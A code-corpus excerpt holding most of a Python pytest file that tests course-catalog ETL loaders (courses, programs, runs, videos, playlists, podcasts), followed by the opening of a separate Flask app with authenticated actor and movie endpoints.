ProgramFactory.create(published=is_published, runs=[])\n        if program_exists\n        else ProgramFactory.build(published=is_published, runs=[], id=1)\n    )\n    courses = (\n        CourseFactory.create_batch(2, platform=\"fake-platform\")\n        if courses_exist\n        else CourseFactory.build_batch(2, platform=\"fake-platform\")\n    )\n    prices = CoursePriceFactory.build_batch(2) if has_prices else []\n\n    before_course_count = len(courses) if courses_exist else 0\n    after_course_count = len(courses)\n\n    if program_exists and has_retired_course:\n        course = CourseFactory.create(platform=\"fake-platform\")\n        before_course_count += 1\n        after_course_count += 1\n        ProgramItem.objects.create(\n            program=program,\n            content_type=ContentType.objects.get(model=\"course\"),\n            object_id=course.id,\n            position=1,\n        )\n        assert program.items.count() == 1\n    else:\n        assert program.items.count() == 0\n\n    assert Program.objects.count() == (1 if program_exists else 0)\n    assert Course.objects.count() == before_course_count\n\n    run_data = {\n        \"prices\": [\n            {\n                \"price\": price.price,\n                \"mode\": price.mode,\n                \"upgrade_deadline\": price.upgrade_deadline,\n            }\n            for price in prices\n        ],\n        \"platform\": PlatformType.mitx.value,\n        \"run_id\": program.program_id,\n        \"enrollment_start\": \"2017-01-01T00:00:00Z\",\n        \"start_date\": \"2017-01-20T00:00:00Z\",\n        \"end_date\": \"2017-06-20T00:00:00Z\",\n        \"best_start_date\": \"2017-06-20T00:00:00Z\",\n        \"best_end_date\": \"2017-06-20T00:00:00Z\",\n    }\n\n    result = load_program(\n        {\n            \"program_id\": program.program_id,\n            \"title\": program.title,\n            \"url\": program.url,\n            \"image_src\": program.image_src,\n            \"published\": is_published,\n            \"runs\": [run_data],\n            \"courses\": [\n                {\"course_id\": course.course_id, \"platform\": course.platform}\n                for course in courses\n            ],\n        },\n        [],\n        [],\n    )\n\n    if program_exists and not is_published:\n        mock_upsert_tasks.delete_program.assert_called_with(result)\n    elif is_published:\n        mock_upsert_tasks.upsert_program.assert_called_with(result.id)\n    else:\n        mock_upsert_tasks.delete_program.assert_not_called()\n        mock_upsert_tasks.upsert_program.assert_not_called()\n\n    assert Program.objects.count() == 1\n    assert Course.objects.count() == after_course_count\n\n    # assert we got a program back and that each course is in a program\n    assert isinstance(result, Program)\n    assert result.items.count() == len(courses)\n    assert result.runs.count() == 1\n    assert result.runs.first().prices.count() == len(prices)\n    assert sorted(\n        [\n            (price.price, price.mode, price.upgrade_deadline)\n            for price in result.runs.first().prices.all()\n        ]\n    ) == sorted([(price.price, price.mode, price.upgrade_deadline) for price in prices])\n\n    assert result.runs.first().best_start_date == _parse_datetime(\n        run_data[\"best_start_date\"]\n    )\n\n    for item, data in zip(\n        sorted(result.items.all(), key=lambda item: item.item.course_id),\n        sorted(courses, key=lambda course: course.course_id),\n    ):\n        course = item.item\n        assert isinstance(course, Course)\n        assert course.course_id == data.course_id\n\n\n@pytest.mark.parametrize(\"course_exists\", [True, False])\n@pytest.mark.parametrize(\"is_published\", [True, False])\n@pytest.mark.parametrize(\"is_run_published\", [True, False])\n@pytest.mark.parametrize(\"blocklisted\", [True, False])\ndef test_load_course(  # pylint:disable=too-many-arguments\n    mocker,\n    mock_upsert_tasks,\n    course_exists,\n    is_published,\n    is_run_published,\n    blocklisted,\n):\n    \"\"\"Test that load_course loads the course\"\"\"\n    mock_delete_files = mocker.patch(\n        \"course_catalog.etl.loaders.search_index_helpers.deindex_run_content_files\"\n    )\n    course = (\n        CourseFactory.create(runs=None, published=is_published)\n        if course_exists\n        else CourseFactory.build()\n    )\n    if course_exists:\n        run = LearningResourceRunFactory.create(\n            platform=course.platform, content_object=course, published=True\n        )\n        ContentFileFactory.create(run=run, published=True)\n        LearningResourceRunFactory.create(\n            platform=course.platform, content_object=course, published=True\n        )\n    else:\n        run = LearningResourceRunFactory.build(platform=course.platform)\n    assert Course.objects.count() == (1 if course_exists else 0)\n\n    props = model_to_dict(\n        CourseFactory.build(\n            course_id=course.course_id, platform=course.platform, published=is_published\n        )\n    )\n    del props[\"id\"]\n    if is_run_published:\n        run = model_to_dict(run)\n        del run[\"content_type\"]\n        del run[\"object_id\"]\n        del run[\"id\"]\n        del run[\"topics\"]\n        del run[\"prices\"]\n        del run[\"instructors\"]\n        props[\"runs\"] = [run]\n    else:\n        props[\"runs\"] = []\n\n    blocklist = [course.course_id] if blocklisted else []\n\n    result = load_course(props, blocklist, [], config=CourseLoaderConfig(prune=True))\n\n    if course_exists and (not is_published or not is_run_published) and not blocklisted:\n        mock_upsert_tasks.delete_course.assert_called_with(result)\n    elif is_published and is_run_published and not blocklisted:\n        mock_upsert_tasks.upsert_course.assert_called_with(result.id)\n    else:\n        mock_upsert_tasks.delete_program.assert_not_called()\n        mock_upsert_tasks.upsert_course.assert_not_called()\n    if course_exists and is_published and not blocklisted:\n        course.refresh_from_db()\n        assert course.runs.first().published is is_run_published\n        assert course.published == (is_published and is_run_published)\n        assert mock_delete_files.call_count == (1 if course.published else 0)\n\n    assert Course.objects.count() == 1\n    assert LearningResourceRun.objects.count() == (\n        2 if course_exists else 1 if is_run_published else 0\n    )\n\n    # assert we got a course back\n    assert isinstance(result, Course)\n\n    for key, value in props.items():\n        assert getattr(result, key) == value, f\"Property {key} should equal {value}\"\n\n\n@pytest.mark.parametrize(\"course_exists\", [True, False])\n@pytest.mark.parametrize(\"course_id_is_duplicate\", [True, False])\n@pytest.mark.parametrize(\"duplicate_course_exists\", [True, False])\ndef test_load_duplicate_course(\n    mock_upsert_tasks, course_exists, course_id_is_duplicate, duplicate_course_exists\n):\n    \"\"\"Test that load_course loads the course\"\"\"\n    course = CourseFactory.create(runs=None) if course_exists else CourseFactory.build()\n\n    duplicate_course = (\n        CourseFactory.create(runs=None, platform=course.platform)\n        if duplicate_course_exists\n        else CourseFactory.build()\n    )\n\n    if course_exists and duplicate_course_exists:\n        assert Course.objects.count() == 2\n    elif course_exists or duplicate_course_exists:\n        assert Course.objects.count() == 1\n    else:\n        assert Course.objects.count() == 0\n\n    assert LearningResourceRun.objects.count() == 0\n\n    duplicates = [\n        {\n            \"course_id\": course.course_id,\n            \"duplicate_course_ids\": [course.course_id, duplicate_course.course_id],\n        }\n    ]\n\n    course_id = (\n        duplicate_course.course_id if course_id_is_duplicate else course.course_id\n    )\n\n    props = model_to_dict(\n        CourseFactory.build(course_id=course_id, platform=course.platform)\n    )\n\n    del props[\"id\"]\n    run = model_to_dict(LearningResourceRunFactory.build(platform=course.platform))\n    del run[\"content_type\"]\n    del run[\"object_id\"]\n    del run[\"id\"]\n    props[\"runs\"] = [run]\n\n    result = load_course(props, [], duplicates)\n\n    if course_id_is_duplicate and duplicate_course_exists:\n        mock_upsert_tasks.delete_course.assert_called()\n\n    mock_upsert_tasks.upsert_course.assert_called_with(result.id)\n\n    assert Course.objects.count() == (2 if duplicate_course_exists else 1)\n\n    assert LearningResourceRun.objects.count() == 1\n\n    # assert we got a course back\n    assert isinstance(result, Course)\n\n    saved_course = Course.objects.filter(course_id=course.course_id).first()\n\n    for key, value in props.items():\n        assert getattr(result, key) == value, f\"Property {key} should equal {value}\"\n        assert (\n            getattr(saved_course, key) == value\n        ), f\"Property {key} should be updated to {value} in the database\"\n\n\n@pytest.mark.parametrize(\n    \"platform, load_content\",\n    [[PlatformType.ocw.value, True], [PlatformType.xpro.value, False]],\n)\n@pytest.mark.parametrize(\"run_exists\", [True, False])\ndef test_load_run(mocker, run_exists, platform, load_content):\n    \"\"\"Test that load_run loads the course run\"\"\"\n    mock_load_content_files = mocker.patch(\n        \"course_catalog.etl.loaders.load_content_files\"\n    )\n    course = CourseFactory.create(runs=None, platform=platform)\n    learning_resource_run = (\n        LearningResourceRunFactory.create(content_object=course, platform=platform)\n        if run_exists\n        else LearningResourceRunFactory.build(platform=platform)\n    )\n\n    props = model_to_dict(\n        LearningResourceRunFactory.build(\n            run_id=learning_resource_run.run_id, platform=learning_resource_run.platform\n        )\n    )\n    del props[\"content_type\"]\n    del props[\"object_id\"]\n    del props[\"id\"]\n\n    assert LearningResourceRun.objects.count() == (1 if run_exists else 0)\n\n    result = load_run(course, props)\n\n    assert LearningResourceRun.objects.count() == 1\n\n    assert result.content_object == course\n\n    # assert we got a course run back\n    assert isinstance(result, LearningResourceRun)\n\n    assert mock_load_content_files.call_count == (1 if load_content else 0)\n\n    for key, value in props.items():\n        assert getattr(result, key) == value, f\"Property {key} should equal {value}\"\n\n\n@pytest.mark.parametrize(\n    \"parent_factory\", [CourseFactory, ProgramFactory, LearningResourceRunFactory]\n)\n@pytest.mark.parametrize(\"topics_exist\", [True, False])\ndef test_load_topics(parent_factory, topics_exist):\n    \"\"\"Test that load_topics creates and/or assigns topics to the parent object\"\"\"\n    topics = (\n        CourseTopicFactory.create_batch(3)\n        if topics_exist\n        else CourseTopicFactory.build_batch(3)\n    )\n    parent = parent_factory.create(no_topics=True)\n\n    assert parent.topics.count() == 0\n\n    load_topics(parent, [{\"name\": topic.name} for topic in topics])\n\n    assert parent.topics.count() == len(topics)\n\n    load_topics(parent, None)\n\n    assert parent.topics.count() == len(topics)\n\n    load_topics(parent, [])\n\n    assert parent.topics.count() == 0\n\n\n@pytest.mark.parametrize(\"prices_exist\", [True, False])\ndef test_load_prices(prices_exist):\n    \"\"\"Test that load_prices creates and/or assigns prices to the parent object\"\"\"\n    prices = (\n        CoursePriceFactory.create_batch(3)\n        if prices_exist\n        else CoursePriceFactory.build_batch(3)\n    )\n    course_run = LearningResourceRunFactory.create(no_prices=True)\n\n    assert course_run.prices.count() == 0\n\n    load_prices(\n        course_run,\n        [\n            {\n                \"price\": price.price,\n                \"mode\": price.mode,\n                \"upgrade_deadline\": price.upgrade_deadline,\n            }\n            for price in prices\n        ],\n    )\n\n    assert course_run.prices.count() == len(prices)\n\n\n@pytest.mark.parametrize(\"instructor_exists\", [True, False])\ndef test_load_instructors(instructor_exists):\n    \"\"\"Test that load_instructors creates and/or assigns instructors to the course run\"\"\"\n    instructors = (\n        CourseInstructorFactory.create_batch(3)\n        if instructor_exists\n        else CourseInstructorFactory.build_batch(3)\n    )\n    run = LearningResourceRunFactory.create(no_instructors=True)\n\n    assert run.instructors.count() == 0\n\n    load_instructors(\n        run, [{\"full_name\": instructor.full_name} for instructor in instructors]\n    )\n\n    assert run.instructors.count() == len(instructors)\n\n\n@pytest.mark.parametrize(\n    \"parent_factory\", [CourseFactory, ProgramFactory, LearningResourceRunFactory]\n)\n@pytest.mark.parametrize(\"offeror_exists\", [True, False])\n@pytest.mark.parametrize(\"has_other_offered_by\", [True, False])\n@pytest.mark.parametrize(\"additive\", [True, False])\n@pytest.mark.parametrize(\"null_data\", [True, False])\ndef test_load_offered_bys(\n    parent_factory, offeror_exists, has_other_offered_by, additive, null_data\n):\n    \"\"\"Test that load_offered_bys creates and/or assigns offeror to the parent object\"\"\"\n    xpro_offeror = (\n        LearningResourceOfferorFactory.create(is_xpro=True)\n        if offeror_exists\n        else LearningResourceOfferorFactory.build(is_xpro=True)\n    )\n    mitx_offeror = LearningResourceOfferorFactory.create(is_mitx=True)\n    parent = parent_factory.create(no_topics=True)\n\n    expected = []\n\n    if not null_data:\n        expected.append(xpro_offeror.name)\n\n    if has_other_offered_by and (additive or null_data):\n        expected.append(mitx_offeror.name)\n\n    if has_other_offered_by:\n        parent.offered_by.set([mitx_offeror])\n\n    assert parent.offered_by.count() == (1 if has_other_offered_by else 0)\n\n    load_offered_bys(\n        parent,\n        None if null_data else [{\"name\": xpro_offeror.name}],\n        config=OfferedByLoaderConfig(additive=additive),\n    )\n\n    assert set(parent.offered_by.values_list(\"name\", flat=True)) == set(expected)\n\n\n@pytest.mark.parametrize(\"video_exists\", [True, False])\n@pytest.mark.parametrize(\"is_published\", [True, False])\n@pytest.mark.parametrize(\"pass_topics\", [True, False])\ndef test_load_video(mock_upsert_tasks, video_exists, is_published, pass_topics):\n    \"\"\"Test that load_video loads the video\"\"\"\n    video = (\n        VideoFactory.create(published=is_published)\n        if video_exists\n        else VideoFactory.build()\n    )\n    topics = CourseTopicFactory.create_batch(3) if video_exists else []\n    passed_topics = CourseTopicFactory.create_batch(1)\n    loading_topics = [{\"name\": topic.name} for topic in passed_topics]\n    expected_topics = passed_topics if pass_topics else topics\n    if video_exists:\n        video.topics.set(topics)\n\n    assert Video.objects.count() == (1 if video_exists else 0)\n\n    props = model_to_dict(\n        VideoFactory.build(\n            video_id=video.video_id, platform=video.platform, published=is_published\n        )\n    )\n    del props[\"id\"]\n    if pass_topics:\n        props[\"topics\"] = loading_topics\n    else:\n        del props[\"topics\"]\n\n    result = load_video(props)\n\n    if video_exists and not is_published:\n        mock_upsert_tasks.delete_video.assert_called_with(result)\n    elif is_published:\n        mock_upsert_tasks.upsert_video.assert_called_with(result.id)\n    else:\n        mock_upsert_tasks.delete_video.assert_not_called()\n        mock_upsert_tasks.upsert_video.assert_not_called()\n\n    assert Video.objects.count() == 1\n\n    # assert we got a course back\n    assert isinstance(result, Video)\n\n    assert list(result.topics.all()) == expected_topics\n\n    for key, value in props.items():\n        assert getattr(result, key) == value, f\"Property {key} should equal {value}\"\n\n\ndef test_load_videos():\n    \"\"\"Verify that load_videos loads a list of videos\"\"\"\n    assert Video.objects.count() == 0\n\n    videos_records = VideoFactory.build_batch(5, published=True)\n    videos_data = [model_to_dict(video) for video in videos_records]\n\n    results = load_videos(videos_data)\n\n    assert len(results) == len(videos_records)\n\n    assert Video.objects.count() == len(videos_records)\n\n\ndef test_load_playlist(mock_tasks):\n    \"\"\"Test load_playlist\"\"\"\n    channel = VideoChannelFactory.create(playlists=None)\n    playlist = PlaylistFactory.build()\n    assert Playlist.objects.count() == 0\n    assert Video.objects.count() == 0\n\n    videos_records = VideoFactory.build_batch(5, published=True)\n    videos_data = [model_to_dict(video) for video in videos_records]\n\n    props = model_to_dict(playlist)\n\n    del props[\"id\"]\n    del props[\"channel\"]\n    props[\"videos\"] = videos_data\n\n    result = load_playlist(channel, props)\n\n    assert isinstance(result, Playlist)\n\n    assert result.videos.count() == len(videos_records)\n    assert result.channel == channel\n\n    mock_tasks.get_video_topics.delay.assert_called_once_with(\n        video_ids=list(result.videos.order_by(\"id\").values_list(\"id\", flat=True))\n    )\n\n\ndef test_load_playlists_unpublish():\n    \"\"\"Test load_playlists when a video/playlist gets unpublished\"\"\"\n    channel = VideoChannelFactory.create()\n\n    userlist1 = UserListFactory.create()\n    userlist2 = UserListFactory.create()\n\n    playlist1 = PlaylistFactory.create(\n        channel=channel, published=True, has_user_list=True, user_list=userlist1\n    )\n    playlist2 = PlaylistFactory.create(\n        channel=channel, published=True, has_user_list=True, user_list=userlist2\n    )\n    playlist3 = PlaylistFactory.create(\n        channel=channel, published=True, has_user_list=True, user_list=None\n    )\n    playlist4 = PlaylistFactory.create(\n        channel=channel, published=True, has_user_list=False, user_list=None\n    )\n\n    playlists_data = [\n        {\n            \"playlist_id\": playlist1.playlist_id,\n            \"platform\": playlist1.platform,\n            \"videos\": [],\n        }\n    ]\n\n    load_playlists(channel, playlists_data)\n\n    playlist1.refresh_from_db()\n    playlist2.refresh_from_db()\n    playlist3.refresh_from_db()\n    playlist4.refresh_from_db()\n\n    assert playlist1.published is True\n    assert playlist1.has_user_list is True\n\n    assert playlist2.published is False\n    assert playlist2.has_user_list is False\n\n    assert playlist3.published is False\n    assert playlist3.has_user_list is False\n\n    assert playlist4.published is False\n    assert playlist4.has_user_list is False\n\n    assert UserList.objects.filter(id=userlist1.id).count() == 1\n    assert UserList.objects.filter(id=userlist2.id).count() == 0\n\n\ndef test_load_video_channels():\n    \"\"\"Test load_video_channels\"\"\"\n    assert VideoChannel.objects.count() == 0\n    assert Playlist.objects.count() == 0\n\n    channels_data = []\n    for channel in VideoChannelFactory.build_batch(3):\n        channel_data = model_to_dict(channel)\n        del channel_data[\"id\"]\n\n        playlist = PlaylistFactory.build()\n        playlist_data = model_to_dict(playlist)\n        del playlist_data[\"id\"]\n        del playlist_data[\"channel\"]\n\n        channel_data[\"playlists\"] = [playlist_data]\n        channels_data.append(channel_data)\n\n    results = load_video_channels(channels_data)\n\n    assert len(results) == len(channels_data)\n\n    for result in results:\n        assert isinstance(result, VideoChannel)\n\n        assert result.playlists.count() == 1\n\n\ndef test_load_video_channels_error(mocker):\n    \"\"\"Test that an error doesn't fail the entire operation\"\"\"\n\n    def pop_channel_id_with_exception(data):\n        \"\"\"Pop channel_id off data and raise an exception\"\"\"\n        data.pop(\"channel_id\")\n        raise ExtractException()\n\n    mock_load_channel = mocker.patch(\"course_catalog.etl.loaders.load_video_channel\")\n    mock_load_channel.side_effect = pop_channel_id_with_exception\n    mock_log = mocker.patch(\"course_catalog.etl.loaders.log\")\n    channel_id = \"abc\"\n\n    load_video_channels([{\"channel_id\": channel_id}])\n\n    mock_log.exception.assert_called_once_with(\n        \"Error with extracted video channel: channel_id=%s\", channel_id\n    )\n\n\ndef test_load_video_channels_unpublish(mock_upsert_tasks):\n    \"\"\"Test load_video_channels when a video/playlist gets unpublished\"\"\"\n    channel = VideoChannelFactory.create()\n    playlist = PlaylistFactory.create(channel=channel, published=True)\n    video = VideoFactory.create()\n    PlaylistVideo.objects.create(playlist=playlist, video=video, position=0)\n    unpublished_playlist = PlaylistFactory.create(channel=channel, published=False)\n    unpublished_video = VideoFactory.create()\n    PlaylistVideo.objects.create(\n        playlist=unpublished_playlist, video=unpublished_video, position=0\n    )\n\n    # inputs don't matter here\n    load_video_channels([])\n\n    video.refresh_from_db()\n    unpublished_video.refresh_from_db()\n    assert video.published is True\n    assert unpublished_video.published is False\n\n    mock_upsert_tasks.delete_video.assert_called_once_with(unpublished_video)\n\n\ndef test_load_playlist_user_list_invalid_settings(mocker, settings):\n    \"\"\"Verify load_playlist_user_list aborts if the settings are invalid\"\"\"\n    mock_log = mocker.patch(\"course_catalog.etl.loaders.log\")\n\n    settings.OPEN_VIDEO_USER_LIST_OWNER = None\n\n    assert load_playlist_user_list(mocker.Mock(), None) is None\n\n    mock_log.debug.assert_called_once_with(\n        \"OPEN_VIDEO_USER_LIST_OWNER is not set, skipping\"\n    )\n\n    settings.OPEN_VIDEO_USER_LIST_OWNER = \"missing\"\n\n    assert load_playlist_user_list(mocker.Mock(), None) is None\n\n    mock_log.error.assert_called_once_with(\n        \"OPEN_VIDEO_USER_LIST_OWNER is set to '%s', but that user doesn't exist\",\n        settings.OPEN_VIDEO_USER_LIST_OWNER,\n    )\n\n\n@pytest.mark.parametrize(\"exists\", [True, False])\n@pytest.mark.parametrize(\"has_user_list\", [True, False])\n@pytest.mark.parametrize(\"user_list_title\", [\"Title\", None])\ndef test_load_playlist_user_list(\n    mock_upsert_tasks, settings, user, exists, has_user_list, user_list_title\n):\n    # pylint: disable=too-many-arguments\n    \"\"\"Test that load_playlist_user_list updates or create the user list\"\"\"\n\n    settings.OPEN_VIDEO_USER_LIST_OWNER = user.username\n\n    playlist = PlaylistFactory.create(has_user_list=has_user_list)\n    videos = VideoFactory.create_batch(3)\n    for idx, video in enumerate(videos):\n        PlaylistVideo.objects.create(playlist=playlist, video=video, position=idx)\n\n    prune_video = VideoFactory.create()\n    video_content_type = ContentType.objects.get_for_model(Video)\n    user_list = None\n\n    if exists:\n        user_list = UserListFactory.create(is_list=True, is_public=True, author=user)\n        UserListItem.objects.create(\n            user_list=user_list,\n            content_type=video_content_type,\n            object_id=prune_video.id,\n            position=0,\n        )\n\n        playlist.user_list = user_list\n        playlist.save()\n    else:\n        assert playlist.user_list is None\n\n    load_playlist_user_list(playlist, user_list_title)\n\n    playlist.refresh_from_db()\n\n    if has_user_list:\n        if exists:\n            assert playlist.user_list == user_list\n        else:\n            assert playlist.user_list is not None\n\n        user_list = playlist.user_list\n\n        assert user_list.author == user\n\n        if user_list_title:\n            assert user_list.title == user_list_title\n        else:\n            assert user_list.title == playlist.title\n\n        assert user_list.privacy_level == PrivacyLevel.public.value\n        assert user_list.list_type == UserListType.LIST.value\n\n        assert (\n            UserListItem.objects.filter(\n                user_list=user_list,\n                content_type=video_content_type,\n                object_id=prune_video.id,\n            ).exists()\n            is False\n        )\n\n        for video in videos:\n            assert (\n                UserListItem.objects.filter(\n                    user_list=user_list,\n                    content_type=video_content_type,\n                    object_id=video.id,\n                ).exists()\n                is True\n            )\n        mock_upsert_tasks.upsert_user_list.assert_called_once_with(user_list.id)\n    else:\n        assert playlist.user_list is None\n\n        if exists:\n            mock_upsert_tasks.delete_user_list.assert_called_once_with(user_list)\n        else:\n            mock_upsert_tasks.delete_user_list.assert_not_called()\n\n\n@pytest.mark.parametrize(\"prune\", [True, False])\ndef test_load_courses(mocker, mock_blocklist, mock_duplicates, prune):\n    \"\"\"Test that load_courses calls the expected functions\"\"\"\n    course_to_unpublish = CourseFactory.create()\n    courses = CourseFactory.create_batch(3, platform=course_to_unpublish.platform)\n    courses_data = [{\"course_id\": course.course_id} for course in courses]\n    mock_load_course = mocker.patch(\n        \"course_catalog.etl.loaders.load_course\", autospec=True, side_effect=courses\n    )\n    config = CourseLoaderConfig(prune=prune)\n    load_courses(course_to_unpublish.platform, courses_data, config=config)\n    assert mock_load_course.call_count == len(courses)\n    for course_data in courses_data:\n        mock_load_course.assert_any_call(\n            course_data,\n            mock_blocklist.return_value,\n            mock_duplicates.return_value,\n            config=config,\n        )\n    mock_blocklist.assert_called_once_with()\n    mock_duplicates.assert_called_once_with(course_to_unpublish.platform)\n    course_to_unpublish.refresh_from_db()\n    assert course_to_unpublish.published is not prune\n\n\ndef test_load_programs(mocker, mock_blocklist, mock_duplicates):\n    \"\"\"Test that load_programs calls the expected functions\"\"\"\n    program_data = [{\"courses\": [{\"platform\": \"a\"}, {}]}]\n    mock_load_program = mocker.patch(\n        \"course_catalog.etl.loaders.load_program\", autospec=True\n    )\n    load_programs(\"mitx\", program_data)\n    assert mock_load_program.call_count == len(program_data)\n    mock_blocklist.assert_called_once()\n    mock_duplicates.assert_called_once_with(\"mitx\")\n\n\n@pytest.mark.parametrize(\"is_published\", [True, False])\ndef test_load_content_files(mocker, is_published):\n    \"\"\"Test that load_content_files calls the expected functions\"\"\"\n    course_run = LearningResourceRunFactory.create(published=is_published)\n\n    returned_content_file_id = 1\n\n    content_data = [{\"a\": \"b\"}, {\"a\": \"c\"}]\n    mock_load_content_file = mocker.patch(\n        \"course_catalog.etl.loaders.load_content_file\",\n        return_value=returned_content_file_id,\n        autospec=True,\n    )\n    mock_bulk_index = mocker.patch(\n        \"course_catalog.etl.loaders.search_index_helpers.index_run_content_files\",\n    )\n    mock_bulk_delete = mocker.patch(\n        \"course_catalog.etl.loaders.search_index_helpers.deindex_run_content_files\",\n        autospec=True,\n    )\n    load_content_files(course_run, content_data)\n    assert mock_load_content_file.call_count == len(content_data)\n    assert mock_bulk_index.call_count == (1 if is_published else 0)\n    assert mock_bulk_delete.call_count == (0 if is_published else 1)\n\n\ndef test_load_content_file():\n    \"\"\"Test that load_content_file saves a ContentFile object\"\"\"\n    learning_resource_run = LearningResourceRunFactory.create()\n\n    props = model_to_dict(ContentFileFactory.build(run_id=learning_resource_run.id))\n    props.pop(\"run\")\n    props.pop(\"id\")\n\n    result = load_content_file(learning_resource_run, props)\n\n    assert ContentFile.objects.count() == 1\n\n    # assert we got an integer back\n    assert isinstance(result, int)\n\n    loaded_file = ContentFile.objects.get(pk=result)\n    assert loaded_file.run == learning_resource_run\n\n    for key, value in props.items():\n        assert (\n            getattr(loaded_file, key) == value\n        ), f\"Property {key} should equal {value}\"\n\n\ndef test_load_content_file_error(mocker):\n    \"\"\"Test that an exception in load_content_file is logged\"\"\"\n    learning_resource_run = LearningResourceRunFactory.create()\n    mock_log = mocker.patch(\"course_catalog.etl.loaders.log.exception\")\n    load_content_file(learning_resource_run, {\"uid\": \"badfile\", \"bad\": \"data\"})\n    mock_log.assert_called_once_with(\n        \"ERROR syncing course file %s for run %d\", \"badfile\", learning_resource_run.id\n    )\n\n\ndef test_load_podcasts():\n    \"\"\"Test load_podcasts\"\"\"\n    assert Podcast.objects.count() == 0\n\n    podcasts_data = []\n    for podcast in PodcastFactory.build_batch(3):\n        podcast_data = model_to_dict(podcast)\n        del podcast_data[\"id\"]\n\n        podcasts_data.append(podcast_data)\n\n    results = load_podcasts(podcasts_data)\n\n    assert len(results) == len(podcasts_data)\n\n    for result in results:\n        assert isinstance(result, Podcast)\n\n\ndef test_load_podcasts_unpublish():\n    \"\"\"Test load_podcast when a podcast gets unpublished\"\"\"\n    podcast = PodcastFactory.create(published=True)\n    podcast_episode = PodcastEpisodeFactory.create(podcast=podcast, published=True)\n\n    load_podcasts([])\n\n    podcast.refresh_from_db()\n    podcast_episode.refresh_from_db()\n\n    assert podcast.published is False\n    assert podcast_episode.published is False\n\n\n@pytest.mark.parametrize(\"podcast_episode_exists\", [True, False])\n@pytest.mark.parametrize(\"is_published\", [True, False])\ndef test_load_podcast_episode(mock_upsert_tasks, podcast_episode_exists, is_published):\n    \"\"\"Test that load_podcast_episode loads the podcast episode\"\"\"\n    podcast = PodcastFactory.create()\n    podcast_episode = (\n        PodcastEpisodeFactory.create(podcast=podcast, published=is_published)\n        if podcast_episode_exists\n        else PodcastEpisodeFactory.build(podcast=podcast, published=is_published)\n    )\n\n    props = model_to_dict(podcast_episode)\n    topics = (\n        podcast_episode.topics.all()\n        if podcast_episode_exists\n        else CourseTopicFactory.build_batch(2)\n    )\n    props[\"topics\"] = [model_to_dict(topic) for topic in topics]\n    del props[\"id\"]\n    del props[\"podcast\"]\n\n    result = load_podcast_episode(props, podcast)\n\n    assert PodcastEpisode.objects.count() == 1\n\n    # assert we got a podcast episode back\n    assert isinstance(result, PodcastEpisode)\n\n    for key, value in props.items():\n        assert getattr(result, key) == value, f\"Property {key} should equal {value}\"\n\n    if podcast_episode_exists and not is_published:\n        mock_upsert_tasks.delete_podcast_episode.assert_called_with(result)\n    elif is_published:\n        mock_upsert_tasks.upsert_podcast_episode.assert_called_with(result.id)\n    else:\n        mock_upsert_tasks.delete_podcast_episode.assert_not_called()\n        mock_upsert_tasks.upsert_podcast_episode.assert_not_called()\n\n\n@pytest.mark.parametrize(\"podcast_exists\", [True, False])\n@pytest.mark.parametrize(\"is_published\", [True, False])\ndef test_load_podcast(mock_upsert_tasks, podcast_exists, is_published):\n    \"\"\"Test that load_podcast loads the podcast\"\"\"\n    podcast = (\n        PodcastFactory.create(published=is_published)\n        if podcast_exists\n        else PodcastFactory.build(published=is_published)\n    )\n    existing_podcast_episode = (\n        PodcastEpisodeFactory.create(podcast=podcast, published=is_published)\n        if podcast_exists\n        else None\n    )\n\n    podcast_data = model_to_dict(podcast)\n    podcast_data[\"title\"] = \"New Title\"\n    topics = (\n        podcast.topics.all() if podcast_exists else CourseTopicFactory.build_batch(2)\n    )\n    podcast_data[\"topics\"] = [model_to_dict(topic) for topic in topics]\n    del podcast_data[\"id\"]\n\n    episode_data = model_to_dict(PodcastEpisodeFactory.build(podcast=podcast))\n    del episode_data[\"id\"]\n    del episode_data[\"podcast\"]\n\n    podcast_data[\"episodes\"] = [episode_data]\n    result = load_podcast(podcast_data)\n\n    podcast = Podcast.objects.get(podcast_id=podcast.podcast_id)\n    new_podcast_episode = podcast.episodes.order_by(\"-created_on\").first()\n\n    assert podcast.title == \"New Title\"\n    assert new_podcast_episode.published is True\n    if podcast_exists:\n        existing_podcast_episode.refresh_from_db()\n        assert existing_podcast_episode.published is False\n        mock_upsert_tasks.delete_podcast_episode.assert_called_with(\n            existing_podcast_episode\n        )\n\n    if podcast_exists and not is_published:\n        mock_upsert_tasks.delete_podcast.assert_called_with(result)\n    elif is_published:\n        mock_upsert_tasks.upsert_podcast.assert_called_with(result.id)\n    else:\n        mock_upsert_tasks.delete_podcast.assert_not_called()\n        mock_upsert_tasks.upsert_podcast.assert_not_called()\n","repo_name":"mitodl/open-discussions","sub_path":"course_catalog/etl/loaders_test.py","file_name":"loaders_test.py","file_ext":"py","file_size_in_byte":36272,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"32159951364","text":"import os\nfrom flask import Flask, request, abort, jsonify\nfrom flask_migrate import Migrate, MigrateCommand\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom models import setup_db, Actor, Movie\nfrom auth import AuthError, requires_auth\n\n'''\ncreate_app()\n  creates and configures the app\n'''\n\ndef create_app(test_config=None):\n  # create and configure the app\n  app = Flask(__name__)\n  setup_db(app)\n  cors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n  db = SQLAlchemy(app)\n  migrate = Migrate(app, db)\n\n  \n  @app.after_request\n  def after_request(response):\n    response.headers.add(\n      'Access-Control-Allow-Headers', 'Content-Type, Authorization,true')\n    response.headers.add(\n      'Access-Control-Allow-Methods', 'GET,PATCH,POST,DELETE,OPTIONS')\n    return response\n\n  '''\n  GET /actors endpoint\n    gets all actors in the database\n    requires 'get:actors' authentication\n    returns True and list of actors in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/actors', methods=['GET'])\n  @requires_auth('get:actors')\n  def get_actors(payload):\n    if not request.method == 'GET':\n      abort(405)\n    actors = Actor.query.all()\n    if len(actors) == 0:\n      abort(404)\n    try:\n      return jsonify({\n        'success': True,\n        'actors': [actor.long() for actor in actors]\n      }), 200\n    except:\n      abort(422)\n\n  '''\n  GET /movies endpoint\n    gets all movies in the database\n    requires 'get:movies' authentication\n    returns True and list of movies in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/movies', methods=['GET'])\n  @requires_auth('get:movies')\n  def get_movies(payload):\n    if not request.method == 'GET':\n      abort(405)\n    movies = Movie.query.all()\n    if len(movies) == 0:\n      abort(404)\n    try:\n      return jsonify({\n        'success': True,\n        'movies': [movie.long() for movie in movies]\n      }), 200\n    except:\n      abort(422)\n\n  '''\n  DELETE /actors/<int:id> 